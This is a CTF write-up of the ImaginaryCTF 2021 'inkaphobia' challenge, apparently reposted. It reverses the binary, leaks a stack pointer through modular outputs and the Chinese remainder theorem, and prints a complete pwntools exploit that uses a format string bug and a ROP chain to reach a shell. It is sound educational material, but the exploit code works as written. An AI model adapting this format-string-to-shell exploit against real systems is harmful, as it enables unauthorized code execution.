Rating: 5.0

[Link to original writeup](https://wrecktheline.com/writeups/imaginary-2021/#inkaphobia)

# inkaphobia (12 solves, 300 points)
by JaGoTu

## Description
```
Seems that random.org limits how much entropy you can use per day. So why not reuse entropy?

Attachments
* inkaphobia
* libc.so.6

nc chal.imaginaryctf.org 42008

Author
Eth007

Points
300
```

## Preparations

We are given an **executable ELF file** and the `libc` used on the remote server. If we run the `libc` as an executable it prints out the detailed version number, which can be useful for hunting down the appropriate `ld` and/or figuring out what heap attacks are possible.

```
$ file inkaphobia
inkaphobia: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=94d52866ffae8870328062ac5dee4cfd5f884469, not stripped

$ file libc.so.6
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=099b9225bcb0d019d9d60884be583eb31bb5f44e, for GNU/Linux 3.2.0, stripped

$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
```

I'll use pwninit to get the proper `ld`:

```
$ pwninit --no-patch-bin --no-template --libc libc.so.6
bin: ./inkaphobia
libc: libc.so.6

fetching linker
unstripping libc
eu-unstrip: cannot find matching section for [16] '.text'
eu-unstrip: cannot find matching section for [17] '__libc_freeres_fn'
eu-unstrip: cannot find matching section for [18] '.rodata'
eu-unstrip: cannot find matching section for [19] '.stapsdt.base'
eu-unstrip: cannot find matching section for [20] '.interp'
eu-unstrip: cannot find matching section for [21] '.eh_frame_hdr'
eu-unstrip: cannot find matching section for [22] '.eh_frame'
eu-unstrip: cannot find matching section for [23] '.gcc_except_table'
eu-unstrip: cannot find matching section for [24] '.tdata'
eu-unstrip: cannot find matching section for [25] '.tbss'
eu-unstrip: cannot find matching section for [26] '.init_array'
eu-unstrip: cannot find matching section for [27] '.data.rel.ro'
eu-unstrip: cannot find matching section for [28] '.dynamic'
eu-unstrip: cannot find matching section for [29] '.got'
eu-unstrip: cannot find matching section for [30] '.got.plt'
eu-unstrip: cannot find matching section for [31] '.data'
eu-unstrip: cannot find matching section for [32] '__libc_subfreeres'
eu-unstrip: cannot find matching section for [33] '__libc_IO_vtables'
eu-unstrip: cannot find matching section for [34] '__libc_atexit'
eu-unstrip: cannot find matching section for [35] '.bss'
eu-unstrip: cannot find matching section for [36] '__libc_freeres_ptrs'
warning: failed unstripping libc: eu-unstrip exited with failure: exit status: 1
setting ./ld-2.31.so executable
```

The unstripping fails, but that's not a big deal, important is we got the `ld-2.31.so`.

After that, I generate my exploit template using `pwn template`:

```
$ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia >inkaphobia.py
```

And lastly modify it to use the correct `libc`, replacing the line in the generated `start_local` with:

```py
return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)`
```

We are now ready to work on the exploit locally:

```
$ python3 inkaphobia.py LOCAL
[*] '/home/jagotu/ctf/imaginary/inkaphobia'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './ld-2.31.so': pid 2456
[*] Switching to interactive mode
Welcome to my RNG service!
Enter max value: $ 42
Random number: 2
Enter max value: $
[*] Interrupted
```

## Reversing

Throwing the binary into IDA and renaming a few things here and there, we are left with with the following two important methods:

```C
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
int random_value; // [rsp+Ch] [rbp-214h] BYREF
char s[520]; // [rsp+10h] [rbp-210h] BYREF
unsigned __int64 v7; // [rsp+218h] [rbp-8h]

v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
mprotect(&abort, 0x2500000uLL, 5);
puts("Welcome to my RNG service!");
seed = time(0LL);
srand(seed);
random_value = rand();
dorng((__int64)&random_value);
puts("Thanks for visiting our RNG! What's your name?");
fgets(s, 512, stdin);
printf("Thanks for coming, ");
printf(s);
return 0;
}

void __fastcall dorng(__int64 a1)
{
int i; // [rsp+14h] [rbp-21Ch]
__int64 v2; // [rsp+18h] [rbp-218h]
char s[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 canary; // [rsp+228h] [rbp-8h]

canary = __readfsqword(0x28u);
for ( i = 0; i <= 5; ++i )
{
printf("Enter max value: ");
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 127 || v2 <= 0 )
{
puts("Go away.");
exit(0);
}
printf("Random number: %ld\n", a1 % v2);
}
}
```

After some basic `setvbuf` and a weird `mprotect` call (which I have no idea why it's there), a random value gets generated and stored in `random_value`. However, **`dorng` is called with `&random_value`**, a.k.a the pointer to `random_value` and not the generated number itself. The pointer is never dereferenced in `dorng`, so `dorng` allows us to **leak information about a pointer to the stack** ?.

After `dorng` happens, there's a `printf` on an arbitrary user string, resulting in a **format string vulnerability** ?. I won't explain in detail how these work, because there's a lot of good material out there, but this bug allows us to do arbitrary reads and writes.

## Plan of attack

We can use the `dorng` function to leak `a1 % n` for 6 different values of `n` given they are <= 127. If we choose 6 different big primes, using the **chinese remainder theorem** we can calculate `a1` modulo the product of all the primes. The biggest primes <= 127 are `[101, 103, 107, 109, 113, 127]`, resulting in getting `a1` modulo `101*103*107*109*113*127 = 1741209542339 = 0x195682D1EC3`. As we know stack addresses always begin with `0x7f`, that is enough to get the exact value of the stack pointer.

After we have a stack pointer leak, we can find the return address relative to it, and overwrite it with the address of `main`. This way we get unlimited loops of the target.

We need at least two loops, cause we will leak the address of `libc` in the first iteration and then overwrite the return address with `one_gadget` in the second iteration.

## Implementation

First, let's explain some implementation details:

For creating the printf payloads, I use pwntools' `fmtstr_payload`. However, it doesn't support leaking information, only writes. As we need to leak the `libc` at the same time we overwrite the return address, I just duct-taped a prefix and suffix to the generated payload with the correct (hardcoded) offsets.

As some `libc` functions expect the stack to be 16-byte aligned (a.k.a the MOVAPS issue), to properly loop we need to add a `ret` gadget call before returning to `main`.

The one_gadget I was using was this one:

```
0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
```

`rdx` was already NULL, so we just needed to `pop` NULL into `rsi`. Also, the procedure saves
something using an rbp offset, so we need to fix rbp to point somewhere legit. Usually I point it randomly into the `libc` data section, but as we had a stack leak, I just pointer `rbp` back on stack.

This is the resulting exploit:

```py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host chal.imaginaryctf.org --port 42008 ./inkaphobia
from pwn import *
from functools import reduce
import math

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./inkaphobia')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'chal.imaginaryctf.org'
port = int(args.PORT or 42008)

def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process(['./ld-2.31.so', '--preload', './libc.so.6', './inkaphobia'] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def chinese_remainder(n, a):
sum=0
prod=reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n,a):
p=prod//n_i
sum += a_i* mul_inv(p, n_i)*p
return sum % prod
def mul_inv(a, b):
b0= b
x0, x1= 0,1
if b== 1: return 1
while a>1 :
q=a// b
a, b= b, a%b
x0, x1=x1 -q *x0, x0
if x1<0 : x1+= b0
return x1

def leak_stack():
a = []
n = [ 101, 103, 107, 109, 113, 127,]
for i in n:
io.sendlineafter(b'value:', str(i).encode())
io.recvuntil(b'number: ')
a.append(int(io.recvline().strip()))

mod = chinese_remainder(n,a)
total = math.prod(n)
res = mod
while res < 0x7f0000000000:
res += total
return res

def exec_fmt(payload):
io.sendlineafter('?', payload)
io.recvuntil(b"coming, ")


return io.recvuntil(b"Welc")[4:]

libc = ELF('./libc.so.6')
ret_gadget = 0x4006de

offset = 8

io = start()

#1. leak libc and ret back to main
stack = leak_stack()
ret = stack + 0x21C
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAA%22$6s" + fmtstr_payload(offset+4, {
ret: ret_gadget,
ret+8: exe.symbols['main']
}, numbwritten=32) + p64(exe.got['printf'])
printf_leak = u64(exec_fmt(payload)[22:22+6].ljust(8, b'\x00'))
libc.address= printf_leak - libc.symbols['printf']

pop_rsi = libc.address + 0x27529
pop_rbp = libc.address + 0x256c0
one_gadget = libc.address + 0xe6e79

#2. fix rsi and rbp, ret to one_gadget
stack = leak_stack()
ret = stack + 0x21C
payload = fmtstr_payload(offset, {
ret: pop_rsi,
ret+8: 0,
ret+16: pop_rbp,
ret+24: stack,
ret+32: one_gadget
})

io.sendlineafter('?', payload)
io.recvuntil(b"coming, ")

io.interactive()
```

## Flag

```
$ python3 inkaphobia.py
[*] '/home/jagotu/ctf/imaginary/inkaphobia'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/jagotu/ctf/imaginary/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal.imaginaryctf.org on port 42008: Done
/usr/local/lib/python3.9/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
\xa0 \x00 \x00 \x13 A A % 7 l 9 % 4 6 n h 4caaaap\xab0\x05\x7f$ id
uid=1000 gid=1000 groups=1000
$ cat flag.txt
ictf{th3_3ntr0py_th13f_str1k3s!_38ba8f19}
$
[*] Interrupted
[*] Closed connection to chal.imaginaryctf.org port 42008
```

Original writeup (https://wrecktheline.com/writeups/imaginary-2021/#inkaphobia).